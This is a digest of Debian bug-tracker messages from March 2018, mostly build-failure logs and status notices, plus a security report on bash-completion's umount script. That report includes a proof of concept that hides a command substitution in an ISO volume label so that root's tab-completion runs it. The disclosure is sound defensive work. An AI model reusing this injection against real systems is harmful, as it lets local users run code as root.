GEM_PATH=debian/sup-mail/usr/share/rubygems-integration/all:/var/lib/gems/2.5.0:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.5.0:/usr/share/rubygems-integration/2.5.0:/usr/share/rubygems-integration/all
 ruby2.5 debian/ruby-tests.rb
/usr/lib/ruby/2.5.0/rubygems/core_ext/kernel_require.rb:59:in `require': 
/usr/lib/x86_64-linux-gnu/ruby/vendor_ruby/2.5.0/ncursesw_bin.so: undefined 
symbol: menu_fore - 
/usr/lib/x86_64-linux-gnu/ruby/vendor_ruby/2.5.0/ncursesw_bin.so (LoadError)

Processed: ruby-ncurses fails to load with Ruby 2.5

[Debian Bug Tracking System]

Processing control commands:

> affects -1 src:sup-mail
Bug #892181 [ruby-ncurses] ruby-ncurses fails to load with Ruby 2.5
Added indication that 892181 affects src:sup-mail

-- 
892181: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892181
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892179: code execution in bash-completion for umount

[Björn Bosselmann]

Package: bash-completion
Version: 1:2.1-4.3
Severity: grave
Tags: security

Hi,

when bash-completion is installed, it uses
/usr/share/bash-completion/completions/umount from umount package to
provide autocompletion. This script does not escape mount paths
correctly, so it allows a local user with rights to mount filesystems to
execute commands in the context of the umount user (probably root).
Unprivileged users can mount filesystems with custom mountpoints using
udisks2, FUSE or with the help of desktop environments.

Example:

as regular user:
--
$ mkdir empty

$ genisoimage -o test.iso -V '$(IFS=":";cmd="touch:foo";$cmd)' empty
I: -input-charset not specified, using utf-8 (detected in locale settings)
Total translation table size: 0
Total rockridge attributes bytes: 0
Total directory bytes: 0
Path table size(bytes): 10
Max brk space used 0
174 extents written (0 MB)

$ udisksctl loop-setup -f test.iso
Mapped file test.iso as /dev/loop0.

(if not mounted by automounter already)
$ udisksctl mount -b /dev/loop0
Mounted /dev/loop0 at /media/user/$(IFS=":";cmd="touch:foo";$cmd).
--

as different user or even root:
--
# ls -la
total 28
drwxr-xr-x  2 root root  4096 Feb 14 10:00 .
drwxrwxrwt 29 root root 24576 Feb 14 10:00 ..

# umount  ^C

# ls -la
total 28
drwxr-xr-x  2 root root  4096 Feb 14 10:01 .
drwxrwxrwt 29 root root 24576 Feb 14 10:00 ..
-rw-r--r--  1 root root 0 Feb 14 10:01 foo
--

I tested it using latest Debian GNU/Linux 9.3 (stretch) using default
installation with desktop environment.
Involved packages:
mount 2.29.2-1
bash 4.4-5
bash-completion 1:2.1-4.3
genisoimage 9:1.1.11-3+b2
udisks2 2.1.8-1

uname -a
Linux id382 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02)
x86_64 GNU/Linux

It seems to be fixed in upstream util-linux already because of a similar
bugfix:
https://github.com/karelzak/util-linux/commit/75f03badd7ed9f1dd951863d75e756883d3acc55#diff-a47601b5dbce9dc06c3af1deb02758c7

Björn Bosselmann
G DATA Software AG


-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-6-amd64 (SMP w/8 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8),
LANGUAGE= (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages bash-completion depends on:
ii  bash  4.4-5
ii  dpkg  1.18.24

bash-completion recommends no packages.

bash-completion suggests no packages.

-- no debconf information






signature.asc
Description: OpenPGP digital signature

Bug#890592: marked as done (nailgun: missing dependency on libjna-platform-java)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 13:36:18 +
with message-id 
and subject line Bug#890592: fixed in nailgun 0.9.3-2
has caused the Debian Bug report #890592,
regarding nailgun: missing dependency on libjna-platform-java
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
890592: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890592
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: jruby
Version: 9.1.13.0-1
Severity: serious
Control: affects -1 src:jruby-openssl src:mustache-java src:yecht

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/jruby.html

...
   debian/rules override_dh_auto_build
make[1]: Entering directory '/build/1st/jruby-9.1.13.0'
dh_auto_build
/usr/lib/jvm/default-java/bin/java -noverify -cp 
/usr/share/maven/boot/plexus-classworlds-2.x.jar:/usr/lib/jvm/default-java/lib/tools.jar
 -Dmaven.home=/usr/share/maven 
-Dmaven.multiModuleProjectDirectory=/build/1st/jruby-9.1.13.0 
-Dclassworlds.conf=/etc/maven/m2-debian.conf 
-Dproperties.file.manual=/build/1st/jruby-9.1.13.0/debian/maven.properties 
org.codehaus.plexus.classworlds.launcher.Launcher 
-s/etc/maven/settings-debian.xml -Ddebian.dir=/build/1st/jruby-9.1.13.0/debian 
-Dmaven.repo.local=/build/1st/jruby-9.1.13.0/debian/maven-repo --batch-mode 
package -DskipTests -Dnotimestamp=true -Dlocale=en_US
[INFO] Scanning for projects...
[INFO] 
[INFO] Reactor Build Order:
[INFO] 
[INFO] JRuby
[INFO] JRuby Core
[INFO] JRuby Lib Setup
[INFO] 
[INFO] 
[INFO] Building JRuby 9.1.13.0
[INFO] 
[INFO] 
[INFO] 
[INFO] Building JRuby Core 9.1.13.0
[INFO] 
[WARNING] The POM for net.java.dev.jna:jna:jar:debian is missing, no dependency 
information available
[WARNING] The POM for net.java.dev.jna:jna-platform:jar:debian is missing, no 
dependency information available
[INFO] 
[INFO] Reactor Summary:
[INFO] 
[INFO] JRuby .. SUCCESS [  0.232 s]
[INFO] JRuby Core . FAILURE [  4.201 s]
[INFO] JRuby Lib Setup  SKIPPED
[INFO] 
[INFO] BUILD FAILURE
[INFO] 
[INFO] Total time: 7.695 s
[INFO] Finished at: 2018-02-11T21:03:57-12:00
[INFO] Final Memory: 17M/724M
[INFO] 
[ERROR] Failed to execute goal on project jruby-core: Could not resolve 
dependencies for project org.jruby:jruby-core:jar:9.1.13.0: The following 
artifacts could not be resolved: net.java.dev.jna:jna:jar:debian, 
net.java.dev.jna:jna-platform:jar:debian: Cannot access central 
(https://repo.maven.apache.org/maven2) in offline mode and the artifact 
net.java.dev.jna:jna:jar:debian has not been downloaded from it before. -> 
[Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e 
switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please 
read the following articles:
[ERROR] [Help 1] 
http://cwiki.apache.org/confluence/display/MAVEN/DependencyResolutionException
[ERROR] 
[ERROR] After correcting the problems, you can resume the build with the command
[ERROR]   mvn  -rf :jruby-core
dh_auto_build: /usr/lib/jvm/default-java/bin/java -noverify -cp 
/usr/share/maven/boot/plexus-classworlds-2.x.jar:/usr/lib/jvm/default-java/lib/tools.jar
 -Dmaven.home=/usr/share/maven 
-Dmaven.multiModuleProjectDirectory=/build/1st/jruby-9.1.13.0 
-Dclassworlds.conf=/etc/maven/m2-debian.conf 
-Dproperties.file.manual=/build/1st/jruby-9.1.13.0/debian/maven.properties 
org.codehaus.plexus.classworlds.launcher.Launcher 
-s/etc/maven/settings-debian.xml -Ddebian.dir=/build/1st/jruby-9.1.13.0/debian 
-Dmaven.repo.local=/build/1st/jruby-9.1.13.0/debian/maven-repo --batch-mode 
package -DskipTests -Dnotimestamp=true -Dlocale=en_US returned exit code 1
debian/rules:37: recipe for target 'override_dh_auto_build' failed
make[1]: *** 

Processed: affects 870306

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> affects 870306 src:ruby-solve
Bug #870306 [src:ruby-dep-selector] ruby-dep-selector FTBFS with libgecode-dev 
5.1.0-2
Added indication that 870306 affects src:ruby-solve
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
870306: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=870306
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892072: weechat: build against ruby2.5

[Sébastien Helleu]

On Sun, Mar 04, 2018 at 07:57:11PM -0300, Antonio Terceiro wrote:
> Source: weechat
> Version: 1.9.1-1
> Severity: serious
> Justification: will FTBFS soon
> Tags: patch
> 
> Hi,
> 
> I am about to upload ruby-defaults to unstable, switching the default
> Ruby to ruby2.5, and ruby2.3 support will be removed right after that.
> Please consider applying the attached patch, obtained from upstream.
> 
> Even better: please work with upstream to be able to build against the
> default ruby, instead of hardcoding a list of ruby versions. Otherwise,
> every time there is a Ruby transition, weechat will be a blocker.
> Hunting down these issues is quite time consuming.
> 

Hi Antonio,

I agree with the need to detect Ruby and other libraries in WeeChat without
hardcoding a list of supported versions in the CMake and configure files.

I opened an issue, so this will be implemented as soon as possible:

  https://github.com/weechat/weechat/issues/1156

-- 
Sébastien Helleu

web: weechat.org / flashtux.org
irc: FlashCode @ irc.freenode.net

Processed: tagging 890106

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 890106 + help
Bug #890106 [src:colmap] colmap: baseline violation on amd64/i386 and FTBFS 
everywhere else
Added tag(s) help.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
890106: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890106
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892109: pdf2djvu FTBFS with libpoppler-dev 0.62.0-2

[Daniel Stender]

Please hang on, I'll update this shortly.

DS

--
4096R/DF5182C8 (sten...@debian.org)
http://www.danielstender.com/

Bug#892133: [Pkg-javascript-devel] Bug#892133: Bug#892133: node-rollup: does not work after a no-change rebuild (the one in the archive is not suitable for main?)

[Pirate Praveen]

tags -1 confirmed

On ചൊവ്വ 06 മാർച്ച് 2018 04:17 വൈകു, Gianfranco Costamagna wrote:
> Hello,
> I can reproduce with both Debian and Ubuntu, with clean environments in both 
> cases.
> (I use pbuilder clean environments)

I could not reproduce it using sbuild and then sbuild --extra-package
options. I was able to reproduce it in my local system and in an
uptodate lxc container.

> I also tried to run npm install and compared the output of node_modules with 
> the files in dist, and they differ
> exactly where I have the issue (the package with npm works)



signature.asc
Description: OpenPGP digital signature

Bug#892175: pycryptodome FTBFS on 32bit big endian: src/montgomery.c:245: mont_mult: Assertion `t[2*abn_words] <= 1' failed

[Adrian Bunk]

Source: pycryptodome
Version: 3.4.11-1
Severity: serious

https://buildd.debian.org/status/package.php?p=pycryptodome=sid

...
   debian/rules override_dh_auto_test
make[1]: Entering directory '/<>'
PYBUILD_SYSTEM=custom \
PYBUILD_TEST_ARGS="python{version} -m Cryptodome.SelfTest {build_dir}/" 
dh_auto_test
I: pybuild base:184: python2.7 -m Cryptodome.SelfTest 
/<>/.pybuild/pythonX.Y_2.7/build/
Skipping AESNI tests
python2.7: src/montgomery.c:245: mont_mult: Assertion `t[2*abn_words] <= 1' 
failed.
Aborted
E: pybuild pybuild:283: test: plugin custom failed with: exit code=134: 
python2.7 -m Cryptodome.SelfTest /<>/.pybuild/pythonX.Y_2.7/build/
dh_auto_test: pybuild --test -i python{version} -p 2.7 returned exit code 13
make[1]: *** [debian/rules:14: override_dh_auto_test] Error 25

Bug#876459: needrestart: Non-interactive mode not being detected properly

[Patrick Matthäi]

Am 22.02.2018 um 13:44 schrieb Dominik George:
> Hi Patrick,
>
>> I regularly see this bug cause important PostgreSQL databases to be
>> restarted on Debian stable.
>>
>> Can you please make sure to provide an update for the next Debian point
>> release? If you need help doing so, feel free to say that.
> Any news/opinion on that?
>
> If I do not hear anything from you within this week, I will start
> negotiating with therelease team about the patch for the next point
> release.
>
> Cheers,
> Nik

Hi,

I am sorry, your messages went to my junk folder, I just saw the
accepted upload now.
Many thanks for taking care of this!

-- 
/*
Mit freundlichem Gruß / With kind regards,
 Patrick Matthäi
 GNU/Linux Debian Developer

  Blog: http://www.linux-dev.org/
E-Mail: pmatth...@debian.org
patr...@linux-dev.org
*/




signature.asc
Description: OpenPGP digital signature

Bug#892170: android-platform-system-extras FTBFS with libf2fs-dev 1.10.0-1

[Adrian Bunk]

Source: android-platform-system-extras
Version: 7.0.0+r33-1
Severity: serious
Tags: buster sid

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/android-platform-system-extras.html

...
make -f debian/libf2fs_utils.mk
make[2]: Entering directory 
'/build/1st/android-platform-system-extras-7.0.0+r33'
cc f2fs_utils/f2fs_utils.c f2fs_utils/f2fs_ioutils.c f2fs_utils/f2fs_dlutils.c 
f2fs_utils/make_f2fs_main.c -o libf2fs_utils.so.0 -g -O2 
-fstack-protector-strong -Wformat -Werror=format-security -DNDEBUG -Wdate-time 
-D_FORTIFY_SOURCE=2 -I/usr/include/android -I/usr/include/f2fs-tools -include 
stddef.h -Wl,-z,relro -fPIC -shared -Wl,-soname,libf2fs_utils.so.0 
-Wl,-rpath=/usr/lib/x86_64-linux-gnu/android 
-L/usr/lib/x86_64-linux-gnu/android -lsparse -ldl
f2fs_utils/f2fs_utils.c: In function 'reset_f2fs_info':
f2fs_utils/f2fs_utils.c:53:9: error: 'struct f2fs_configuration' has no member 
named 'fd'; did you mean 'kd'?
  config.fd = -1;
 ^~
 kd
f2fs_utils/f2fs_utils.c: In function 'make_f2fs_sparse_fd':
f2fs_utils/f2fs_utils.c:67:2: error: too many arguments to function 
'f2fs_init_configuration'
  f2fs_init_configuration();
  ^~~
In file included from f2fs_utils/f2fs_utils.c:34:0:
/usr/include/f2fs-tools/f2fs_fs.h:1170:13: note: declared here
 extern void f2fs_init_configuration(void);
 ^~~
In file included from f2fs_utils/f2fs_ioutils.c:45:0:
/usr/include/f2fs-tools/f2fs_fs.h:80:13: error: conflicting types for '__u64'
 typedef u64 __u64;
 ^
In file included from /usr/include/asm-generic/types.h:7:0,
 from /usr/include/x86_64-linux-gnu/asm/types.h:5,
 from f2fs_utils/f2fs_ioutils.c:32:
/usr/include/asm-generic/int-ll64.h:31:42: note: previous declaration of 
'__u64' was here
 __extension__ typedef unsigned long long __u64;
  ^
In file included from f2fs_utils/f2fs_ioutils.c:45:0:
/usr/include/f2fs-tools/f2fs_fs.h:83:13: error: conflicting types for '__le64'
 typedef u64 __le64;
 ^~
In file included from /usr/include/linux/fs.h:15:0,
 from f2fs_utils/f2fs_ioutils.c:36:
/usr/include/linux/types.h:28:25: note: previous declaration of '__le64' was 
here
 typedef __u64 __bitwise __le64;
 ^~
In file included from f2fs_utils/f2fs_ioutils.c:45:0:
/usr/include/f2fs-tools/f2fs_fs.h:86:13: error: conflicting types for '__be64'
 typedef u64 __be64;
 ^~
In file included from /usr/include/linux/fs.h:15:0,
 from f2fs_utils/f2fs_ioutils.c:36:
/usr/include/linux/types.h:29:25: note: previous declaration of '__be64' was 
here
 typedef __u64 __bitwise __be64;
 ^~
f2fs_utils/f2fs_ioutils.c: In function 'dev_write_fd':
f2fs_utils/f2fs_ioutils.c:99:21: error: 'struct f2fs_configuration' has no 
member named 'fd'; did you mean 'kd'?
  if (lseek64(config.fd, (off64_t)offset, SEEK_SET) < 0)
 ^~
 kd
f2fs_utils/f2fs_ioutils.c:101:33: error: 'struct f2fs_configuration' has no 
member named 'fd'; did you mean 'kd'?
  ssize_t written = write(config.fd, buf, len);
 ^~
 kd
f2fs_utils/f2fs_ioutils.c: At top level:
f2fs_utils/f2fs_ioutils.c:141:6: error: conflicting types for 
'f2fs_finalize_device'
 void f2fs_finalize_device(struct f2fs_configuration *c)
  ^~~~
In file included from f2fs_utils/f2fs_ioutils.c:45:0:
/usr/include/f2fs-tools/f2fs_fs.h:1176:12: note: previous declaration of 
'f2fs_finalize_device' was here
 extern int f2fs_finalize_device(void);
^~~~
f2fs_utils/f2fs_ioutils.c: In function 'f2fs_trim_device':
f2fs_utils/f2fs_ioutils.c:146:1: error: number of arguments doesn't match 
prototype
 {
 ^
In file included from f2fs_utils/f2fs_ioutils.c:46:0:
/usr/include/f2fs-tools/f2fs_format_utils.h:15:5: error: prototype declaration
 int f2fs_trim_device(int, u_int64_t);
 ^~~~
f2fs_utils/f2fs_ioutils.c: In function 'dev_write':
f2fs_utils/f2fs_ioutils.c:165:13: error: 'struct f2fs_configuration' has no 
member named 'fd'; did you mean 'kd'?
  if (config.fd >= 0) {
 ^~
 kd
f2fs_utils/f2fs_ioutils.c: In function 'dev_fill':
f2fs_utils/f2fs_ioutils.c:176:13: error: 'struct f2fs_configuration' has no 
member named 'fd'; did you mean 'kd'?
  if (config.fd >= 0) {
 ^~
 kd
f2fs_utils/f2fs_dlutils.c:48:6: error: conflicting types for 
'f2fs_init_configuration'
 void f2fs_init_configuration(struct f2fs_configuration *config) {
  ^~~
In file included from f2fs_utils/f2fs_dlutils.c:36:0:
/usr/include/f2fs-tools/f2fs_fs.h:1170:13: note: previous declaration of 
'f2fs_init_configuration' was here
 extern void f2fs_init_configuration(void);
 ^~~
make[2]: *** [debian/libf2fs_utils.mk:11: 

Bug#892133: [Pkg-javascript-devel] Bug#892133: node-rollup: does not work after a no-change rebuild (the one in the archive is not suitable for main?)

[Gianfranco Costamagna]

On Tue, 06 Mar 2018 10:28:44 +0530 Pirate Praveen  
wrote:
> 
> 
> On March 6, 2018 3:54:36 AM GMT+05:30, Gianfranco Costamagna 
>  wrote:
> >Package: node-rollup
> >Version: 0.50.0-1
> >Severity: serious
> >
> >
> >Hello, seems that a simple no-change rebuild of the package, makes the
> >program stop working completely with this error:
> >
> >just no change rebuild it, install the newly built deb and no-change
> >rebuild again to see the error:
> 
> Can you reproduce this using a clean build environment?
> 
> Run sbuild first, then sbuild --extra-package 
> 
> May be you have some older buggy dependencies locally installed.
> 

Hello,
I can reproduce with both Debian and Ubuntu, with clean environments in both 
cases.
(I use pbuilder clean environments)

I also tried to run npm install and compared the output of node_modules with 
the files in dist, and they differ
exactly where I have the issue (the package with npm works)

G.
root@localhost:/node-rollup-0.50.0# dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name   Version  
Architecture Description
+++-==---==
ii  adduser3.117
all  add and remove users and groups
ii  apt1.6~beta1
amd64commandline package manager
ii  autoconf   2.69-11  
all  automatic configure script builder
ii  automake   1:1.15.1-3   
all  Tool for generating GNU Standards-compliant 
Makefiles
ii  autopoint  0.19.8.1-4   
all  The autopoint program from GNU gettext
ii  autotools-dev  20180224.1   
all  Update infrastructure for config.{guess,sub} files
ii  base-files 10.1 
amd64Debian base system miscellaneous files
ii  base-passwd3.5.44   
amd64Debian base system master password and group files
ii  bash   4.4.18-1.1   
amd64GNU Bourne Again SHell
ii  binutils   2.30-5   
amd64GNU assembler, linker and binary utilities
ii  binutils-common:amd64  2.30-5   
amd64Common files for the GNU assembler, linker and 
binary utilities
ii  binutils-x86-64-linux-gnu  2.30-5   
amd64GNU binary utilities, for x86-64-linux-gnu target
ii  bsdmainutils   11.1.2   
amd64collection of more utilities from FreeBSD
ii  bsdutils   1:2.31.1-0.4 
amd64basic utilities from 4.4BSD-Lite
ii  build-essential12.4 
amd64Informational list of build-essential packages
ii  bzip2  1.0.6-8.1
amd64high-quality block-sorting file compressor - 
utilities
ii  ca-certificates20170717 
all  Common CA certificates
ii  coreutils  8.28-1   
amd64GNU core utilities
ii  cpp4:7.2.0-1d1  
amd64GNU C preprocessor (cpp)
ii  cpp-7  7.3.0-5  
amd64GNU C preprocessor
ii  dash   0.5.8-2.10   
amd64POSIX-compliant shell
ii  debconf1.5.66   
all  Debian configuration management system
ii  debhelper  11.1.5   
all  helper programs for debian/rules
ii  debian-archive-keyring 

Bug#892088: [pkg-golang-devel] Bug#892088: golang-1.10: FTBFS on mips when built on Octeon III buildds

[James Cowgill]

Hi,

On 06/03/18 01:02, Michael Hudson-Doyle wrote:
> Congrats on figuring this out and commiserations on having to do it, I
> guess! Do you think this is worth an upload now or will it be OK to wait
> until upstream releases 1.10.1 (assuming it gets into that)?

I haven't seen any major breakages caused by this bug. The main thing it
blocks is golang-1.10 testing migration in Debian due to some test
failures, so I think it's OK to wait if you prefer. I don't know what
the policy is for go stable updates to say if the fix will be in 1.10.1
or not.

Thanks,
James



signature.asc
Description: OpenPGP digital signature

Bug#891337: marked as done (mia: FTBFS with glibc 2.27: error: 'HUGE' was not declared in this scope)

[Debian Bug Tracking System]

Your message dated Tue, 06 Mar 2018 10:37:10 +
with message-id 
and subject line Bug#891337: fixed in mia 2.4.6-2
has caused the Debian Bug report #891337,
regarding mia: FTBFS with glibc 2.27: error: 'HUGE' was not declared in this 
scope
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891337: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891337
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: mia
Version: 2.4.6-1
Severity: important
User: debian-gl...@lists.debian.org
Usertags: 2.27

mia 2.4.6-1 fails to build with glibc 2.27 (2.27-0experimental0 from
experimental):

| /usr/bin/c++  -g -O2 -fdebug-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -Wdate-time 
-D_FORTIFY_SOURCE=2   -fvisibility=hidden  -Wl,-z,relro -Wl,-z,now 
-Wl,--as-needed -fvisibility=hidden -rdynamic 
CMakeFiles/test-ioplugins.dir/test_ioplugins.cc.o  -o test-ioplugins 
-Wl,-rpath,/<>/obj-x86_64-linux-gnu/mia/3d:/<>/obj-x86_64-linux-gnu/mia/2d:/<>/obj-x86_64-linux-gnu/mia/core
 ../mia/3d/libmia3d-2.4.so.6.0.0 -lboost_unit_test_framework 
../mia/2d/libmia2d-2.4.so.6.0.0 ../mia/core/libmiacore-2.4.so.6.0.0 -lgsl 
-lgslcblas -lm -lboost_filesystem -lboost_system -lpthread -ldl -lfftw3f -lxml2 
| make[4]: Leaving directory '/<>/obj-x86_64-linux-gnu'
| [ 91%] Built target test-ioplugins
| make[3]: Leaving directory '/<>/obj-x86_64-linux-gnu'
| Makefile:143: recipe for target 'all' failed
| make[2]: *** [all] Error 2
| make[2]: Leaving directory '/<>/obj-x86_64-linux-gnu'
| dh_auto_build: cd obj-x86_64-linux-gnu && make -j16 returned exit code 2
| debian/rules:54: recipe for target 'override_dh_auto_build-arch' failed
| make[1]: *** [override_dh_auto_build-arch] Error 2
| make[1]: Leaving directory '/<>'
| debian/rules:32: recipe for target 'build-arch' failed
| make: *** [build-arch] Error 2
| dpkg-buildpackage: error: debian/rules build-arch subprocess returned exit 
status 2

A full build log is available there:
http://aws-logs.debian.net/2018/02/07/glibc-exp/mia_2.4.6-1_unstable_glibc-exp.log

Starting with glibc 2.27, support for SVID error handling has been
removed, including the corresponding constants. This causes this
package to FTBFS.
--- End Message ---
--- Begin Message ---
Source: mia
Source-Version: 2.4.6-2

We believe that the bug you reported is fixed in the latest version of
mia, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Gert Wollny  (supplier of updated mia package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Tue, 06 Mar 2018 11:21:28 +0100
Source: mia
Binary: libmia-2.4-4 libmia-2.4-dev libmia-2.4-doc mia-tools mia-doctools 
mia-tools-doc
Architecture: source
Version: 2.4.6-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Med Packaging Team 

Changed-By: Gert Wollny 
Description:
 libmia-2.4-4 - library for 2D and 3D gray scale image processing
 libmia-2.4-dev - library for 2D and 3D gray scale image processing, 
development fi
 libmia-2.4-doc - library for 2D and 3D gray scale image processing, 
documentation
 mia-doctools - Helper scripts for run-time document creation
 mia-tools  - Command line tools for gray scale image processing
 mia-tools-doc - Cross-referenced documentation of the MIA command line tools
Closes: 891337
Changes:
 mia (2.4.6-2) unstable; urgency=medium
 .
   * d/p/mia_226_glibc_227: use numeric_limits::max() Closes: #891337
   * d/rules: drop superfluous --parallel in dh command
Checksums-Sha1:
 6554471e8b9f251b2ce06fc3712acded44afbf27 2254 mia_2.4.6-2.dsc
 92cb00f924f15a306c7ce5ee4d41d07151af73be 12224 mia_2.4.6-2.debian.tar.xz
 77615e830f7e64ee02937b7c64e144db6b7db922 22433 mia_2.4.6-2_source.buildinfo
Checksums-Sha256:
 969b0f944d6aafb48e33ad4e17e0f85773fcf27ac9e305b84e914e896edbf1e3 2254 
mia_2.4.6-2.dsc
 169305eda95f78ad90d0c3977614ff39a5a671b8dc8c74b45dfed48fef9b5b51 12224 
mia_2.4.6-2.debian.tar.xz
 

Bug#892165: syncthing FTBFS: cannot find package "github.com/prometheus/client_golang/prometheus"

[Adrian Bunk]

Source: syncthing
Version: 0.14.44+ds1-1
Severity: serious

https://buildd.debian.org/status/package.php?p=syncthing=sid

...
dh_auto_build -- -ldflags "-X main.Version=v0.14.44-ds1 \
   -X main.BuildUser=debian \
   -X main.BuildHost=debian \
   -X main.BuildStamp=1520273594" \
   -tags 'noupgrade purego'
cd _build && go install 
-gcflags=\"-trimpath=/<>/syncthing-0.14.44\+ds1/_build/src\" 
-asmflags=\"-trimpath=/<>/syncthing-0.14.44\+ds1/_build/src\" -v -p 4 
-ldflags "-X main.Version=v0.14.44-ds1-X 
main.BuildUser=debian-X main.BuildHost=debian   
 -X main.BuildStamp=1520273594" -tags "noupgrade purego" 
github.com/syncthing/syncthing/cmd/stbench 
github.com/syncthing/syncthing/cmd/stcompdirs 
github.com/syncthing/syncthing/cmd/stdisco 
github.com/syncthing/syncthing/cmd/stdiscosrv 
github.com/syncthing/syncthing/cmd/stevents 
github.com/syncthing/syncthing/cmd/stfileinfo 
github.com/syncthing/syncthing/cmd/stfinddevice 
github.com/syncthing/syncthing/cmd/stgenfiles 
github.com/syncthing/syncthing/cmd/stindex 
github.com/syncthing/syncthing/cmd/strelaysrv 
github.com/syncthing/syncthing/cmd/strelaysrv/testutil 
github.com/syncthing/syncthing/cmd/stsigtool 
github.com/syncthing/syncthing/cmd/stvanity 
github.com/syncthing/syncthing/cmd/stwatchfile 
github.com/syncthing/syncthing/cmd/syncthing 
github.com/syncthing/syncthing/lib/auto 
github.com/syncthing/syncthing/lib/beacon 
github.com/syncthing/syncthing/lib/config 
github.com/syncthing/syncthing/lib/connections 
github.com/syncthing/syncthing/lib/db github.com/syncthing/syncthing/lib/dialer 
github.com/syncthing/syncthing/lib/discover 
github.com/syncthing/syncthing/lib/events github.com/syncthing/syncthing/lib/fs 
github.com/syncthing/syncthing/lib/ignore 
github.com/syncthing/syncthing/lib/logger 
github.com/syncthing/syncthing/lib/model github.com/syncthing/syncthing/lib/nat 
github.com/syncthing/syncthing/lib/osutil 
github.com/syncthing/syncthing/lib/pmp 
github.com/syncthing/syncthing/lib/protocol 
github.com/syncthing/syncthing/lib/rand github.com/syncthing/syncthing/lib/rc 
github.com/syncthing/syncthing/lib/relay/client 
github.com/syncthing/syncthing/lib/relay/protocol 
github.com/syncthing/syncthing/lib/scanner 
github.com/syncthing/syncthing/lib/sha256 
github.com/syncthing/syncthing/lib/signature 
github.com/syncthing/syncthing/lib/stats 
github.com/syncthing/syncthing/lib/sync 
github.com/syncthing/syncthing/lib/tlsutil 
github.com/syncthing/syncthing/lib/upgrade 
github.com/syncthing/syncthing/lib/upnp github.com/syncthing/syncthing/lib/util 
github.com/syncthing/syncthing/lib/versioner 
github.com/syncthing/syncthing/lib/watchaggregator 
github.com/syncthing/syncthing/lib/weakhash
src/github.com/syncthing/syncthing/cmd/stdiscosrv/stats.go:10:2: cannot find 
package "github.com/prometheus/client_golang/prometheus" in any of:
/usr/lib/go-1.10/src/github.com/prometheus/client_golang/prometheus 
(from $GOROOT)

/<>/syncthing-0.14.44+ds1/_build/src/github.com/prometheus/client_golang/prometheus
 (from $GOPATH)
src/github.com/syncthing/syncthing/cmd/stdiscosrv/main.go:22:2: cannot find 
package "github.com/prometheus/client_golang/prometheus/promhttp" in any of:

/usr/lib/go-1.10/src/github.com/prometheus/client_golang/prometheus/promhttp 
(from $GOROOT)

/<>/syncthing-0.14.44+ds1/_build/src/github.com/prometheus/client_golang/prometheus/promhttp
 (from $GOPATH)
dh_auto_build: cd _build && go install 
-gcflags=\"-trimpath=/<>/syncthing-0.14.44\+ds1/_build/src\" 
-asmflags=\"-trimpath=/<>/syncthing-0.14.44\+ds1/_build/src\" -v -p 4 
-ldflags "-X main.Version=v0.14.44-ds1-X 
main.BuildUser=debian-X main.BuildHost=debian   
 -X main.BuildStamp=1520273594" -tags "noupgrade purego" 
github.com/syncthing/syncthing/cmd/stbench 
github.com/syncthing/syncthing/cmd/stcompdirs 
github.com/syncthing/syncthing/cmd/stdisco 
github.com/syncthing/syncthing/cmd/stdiscosrv 
github.com/syncthing/syncthing/cmd/stevents 
github.com/syncthing/syncthing/cmd/stfileinfo 
github.com/syncthing/syncthing/cmd/stfinddevice 
github.com/syncthing/syncthing/cmd/stgenfiles 
github.com/syncthing/syncthing/cmd/stindex 
github.com/syncthing/syncthing/cmd/strelaysrv 
